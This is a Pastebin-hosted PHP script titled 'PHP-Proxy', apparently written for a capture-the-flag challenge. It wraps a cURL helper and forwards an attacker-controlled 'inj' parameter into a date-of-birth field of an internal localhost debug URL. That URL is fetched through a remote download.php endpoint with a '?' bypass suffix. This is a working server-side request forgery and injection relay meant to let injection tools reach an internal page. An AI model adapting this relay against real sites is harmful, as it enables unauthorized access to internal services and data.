khalil-sh

PHP-Proxy

Jan 10th, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. function customCurl($URL=null, $postData=false, $cookie='set', $customHeader=null, $oHeader=false, $proxy=false){
  3.  
  4.     $cookieJar = './cookie'; //tempnam('/tmp','cookie');
  5.     $ch = curl_init($URL);
  6.  
  7.     if($cookie==='set'){
  8.         @unlink($cookieJar);
  9.         curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
  10.     }elseif($cookie==='get')
  11.         curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
  12.     else{}
  13.  
  14.     if($proxy)
  15.         curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080');
  16.  
  17.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  18.     curl_setopt($ch, CURLOPT_HEADER, $oHeader);
  19.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); //don't follow redirects
  20.  
  21.     if($postData!==false){
  22.         curl_setopt($ch, CURLOPT_POST, 1);
  23.         curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
  24.         curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
  25.     }
  26.  
  27.     if($customHeader!==null){
  28.         curl_setopt($ch, CURLOPT_HTTPHEADER, $customHeader);
  29.     }
  30.  
  31.  
  32.     $response = curl_exec($ch);
  33.  
  34.  
  35.     @list($headers, $body) = explode("\r\n\r\n", $response, 2);
  36.  
  37.     return array('headers'=>$headers, 'body'=>$body);
  38. }
  39.  
  40. $Injection = $_GET['inj'];
  41. $baseURL = 'http://kansas.pwn.republican/download.php?dl=';
  42. $data = 'http://localhost/secure/debug.php?s=3&txtfirst_name=Voorivex&txtmiddle_name=Voorivex&txtLast_name=Voorivex&txtname_suffix=Voo&txtdob=05%2F03%2F198' . $Injection . '&txtdl_nmbr=K19902613&txtRetypeDL=K19902613&btnContinue2=Continue';
  43. $bypass = '?';
  44.  
  45. $response = customCurl($baseURL . urlencode($data) . $bypass);
  46.  
  47.  
  48. echo $response['headers'];
  49.  
  50. ?>
Add Comment
Please, Sign In to add comment